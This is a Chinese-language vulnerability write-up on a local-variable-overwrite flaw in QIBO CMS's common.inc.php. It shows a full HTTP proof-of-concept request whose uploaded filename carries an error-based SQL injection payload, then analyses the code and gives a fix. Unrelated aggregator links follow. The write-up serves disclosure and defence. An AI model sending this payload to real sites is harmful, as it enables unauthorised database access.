QIBO CMS /inc/common.inc.php Local Variables Overriding Vul In $_FILES
目录
. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考
1. 漏洞描述
齐博在/inc/common.inc.php使用$$_key=$value、extract等逻辑实现了外部输入变量的本地注册,这是模拟了GPC的功能,但同时也引入"本地变量覆盖"、"本地变量未初始化"的安全风险
齐博CMS中的漏洞文件/inc/common.inc.php使用 @extract($_FILES, EXTR_SKIP)来注册$_FILES的各变量,使用EXTR_SKIP来控制不覆盖已存在的变量。利用一个末初始化的变量覆盖漏洞,即可导致sql注入漏洞
Relevant Link:
http://bbs.qibosoft.com/read-forum-tid-422299.htm
2. 漏洞触发条件
0x1: 攻击入口
构造$_FILE的变量覆盖构造覆盖$cidDB变量,POST给/member/comment.php
. 首先访问/member下面的"评论管理"功能,抓包 . 在http request中构造一个attachment,如下:
/*
POST /qibo/member/comment.php?job=yz&yz=0 HTTP/1.1
Host: 127.0.0.1
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36 SE .X MetaSr 1.0
Referer: http://127.0.0.1/qibo/member/comment.php?job=work
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=jo9rpav7l51iakidv01vr9fem1;
passport=%09admin%09ClAKVgsEBglUAwcFUgRTDgRRCF9XUAZXBAcAVQIHBlc%3D94606de1fd; USR=fvqnvbj3%%%09http%3A%2F%2F127.0.0.%2Fqibo%2Fmember%2Fcomment.php%3Fjob%3Dwork
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundary6ukpBHoIrpHKtOkl
Content-Length: ------WebKitFormBoundary6ukpBHoIrpHKtOkl
Content-Disposition: form-data; name="cidDB"; filename="1' and EXP(~(select * from(select user())a)) -- "
Content-Type: text/plain ------WebKitFormBoundary6ukpBHoIrpHKtOkl--
*/
注意将原来的URL上的cidDB[]=x删除掉;
然后构造一个文件上传的报文(GET改为POST方法)
在filename处填入注入的payload . 提交该数据包,即可注入成功
//这次的变量覆盖是抓住了extract的EXTR_SKIP只检查已经存在的变量,但是有些没有声明的变量还是会被覆盖
Relevant Link:
http://bobao.360.cn/learning/detail/291.html
3. 漏洞影响范围
齐博所有系统、所有版本
4. 漏洞代码分析
\qibo\inc\common.inc.php
/*
全局变量文件对GPC变量的过滤
从代码中可以看淡,通过$_FILE传的值,POST的内容受GPC影响,因此只能利用$_FILE变量的$key绕过add_S函数
这里,$_FILS在传递参数时,是数组形式,因此可以默认使用$_FILES的$key去覆盖
*/
$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE); function Add_S($array)
{
foreach($array as $key=>$value)
{
if(!is_array($value))
{
$value=str_replace("&#x","& # x",$value); //过滤一些不安全字符
$value=preg_replace("/eval/i","eva l",$value); //过滤不安全函数
!get_magic_quotes_gpc() && $value=addslashes($value);
$array[$key]=$value;
}
else
{
$array[$key]=Add_S($array[$key]);
}
}
return $array;
} if(!ini_get('register_globals'))
{
@extract($_FILES,EXTR_SKIP);
} foreach($_COOKIE AS $_key=>$_value)
{
unset($$_key);
}
foreach($_POST AS $_key=>$_value)
{
!ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value)
{
!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}
5. 防御方法
\qibo\inc\common.inc.php
if(!ini_get('register_globals'))
{
$array = array('Filedata','postfile','upfile','fileData','Filedata');
foreach($array AS $key=>$value)
{
is_array($_FILES[$value]) && $$value = $_FILES[$value];
}
}
6. 攻防思考
Copyright (c) 2014 LittleHann All rights reserved
QIBO CMS /inc/common.inc.php Local Variables Overriding Vul In $_FILES的更多相关文章
- dedecms /include/uploadsafe.inc.php SQL Injection Via Local Variable Overriding Vul
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 . dedecms原生提供一个"本地变量注册"的模拟 ...
- Effective Java 45 Minimize the scope of local variables
Principle The most powerful technique for minimizing the scope of a local variable is to declare it ...
- Implicitly Typed Local Variables
Implicitly Typed Local Variables It happens time and time again: I’ll be at a game jam, mentoring st ...
- oracle 12c common user与local user
12c的多租户架构,引入CDB和PDB概念,使得用户也分为两种:common用户和local用户. 1.common用户就是数据库的用户,这个用户在root和每个已存在的或以后要创建的PDB都是相同的 ...
- Results from queries can be retrieved into local variables
w将查询结果赋值给本地变量. http://dev.mysql.com/doc/refman/5.7/en/stored-program-variables.html Results from que ...
- 【java】A local class access to local variables
内部类参考 A local class has access to local variables. However, a local class can only access local vari ...
- 栈帧的内部结构--局部变量表(Local Variables)
每个栈帧中包含: 局部变量表(Local Variables) 操作数栈(Opreand Stack) 或表达式栈 动态链接 (Dynamic Linking) (或指向运行时常量的方法引用) 动态返 ...
- This inspection warns about local variables referenced before assignment.
关于 local variable 'has' referenced before assignment 问题 今天在django开发时,访问页面总是出现错误提示“local variable 'ha ...
- QIBO CMS SQL Injection Via Variable Uninitialization In \member\special.php
Catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 该漏洞存在于/member/special.php文件下,由于未对变量进 ...
随机推荐
- 20款最佳用户体验的Sublime Text 2/3主题下载及安装方法
20款最佳用户体验的Sublime Text 2/3主题下载及安装方法
- 帆软FineReport如何使用程序数据集
大多数情况下,FineReport直接在设计器里使用“数据集查询”,直接写SQL就能满足报表要求,但对于一些复杂的报表,有时候SQL处理并不方便,这时可以把查询结果在应用层做一些预处理后,再传递给报表 ...
- Hibernate3.3.2 手动配置annotation环境
简单记录Hibernate3.3.2如何快速配置环境 一.下载hibernate-distribution-3.3.2.GA-dist.zip文件,建立User libraries. 打开window ...
- scrapy 保存到 sqlite3
scrapy 爬取到结果后,将结果保存到 sqlite3,有两种方式 item Pipeline Feed Exporter 方式一 使用 item Pipeline 有三个步骤 文件 pipelin ...
- 将DBF文件导入Sqlserver数据库
项目中的问题:用户选择N个dbf文件导入sql2005数据库,由于每年dbf表结构都在变化,所以在sql2005中根本就不存在,需要每年根据dbf的结构自动建表.(文章来自http://blog.cs ...
- js前端的各种面试题
转载:http://bbs.blueidea.com/thread-3107428-1-1.html 1.截取字符串abcdefg的efg //alert('abcdefg'.substring(4) ...
- HFS汉化版|简易HTTP服务器
专为个人用户所设计的 HTTP 档案系统 - Http File Server,如果您觉得架设 FTP Server 太麻烦,那么这个软件可以提供您更方便的档案传输系统,下载后无须安装,只要解压缩后执 ...
- LVS+Redis部署手册
Redis是一个开源,先进的key-value存储,并用于构建高性能,可扩展的Web应用程序的完美解决方案. Redis从它的许多竞争继承来的三个主要特点: Redis数据库完全在内存中,使用磁盘仅用 ...
- linux基础-第十二单元 硬盘分区、格式化及文件系统的管理一
第十二单元 硬盘分区.格式化及文件系统的管理一 硬件设备与文件名的对应关系 硬盘的结构及硬盘分区 为什么进行硬盘分区 硬盘的逻辑结构 Linux系统中硬盘的分区 硬盘分区的分类 分区数量的约束 使用f ...
- [转]JS中对象与字符串的互相转换
原文地址:http://www.cnblogs.com/luminji/p/3617160.html 在使用 JSON2.JS 文件的 JSON.parse(data) 方法时候,碰到了问题: thr ...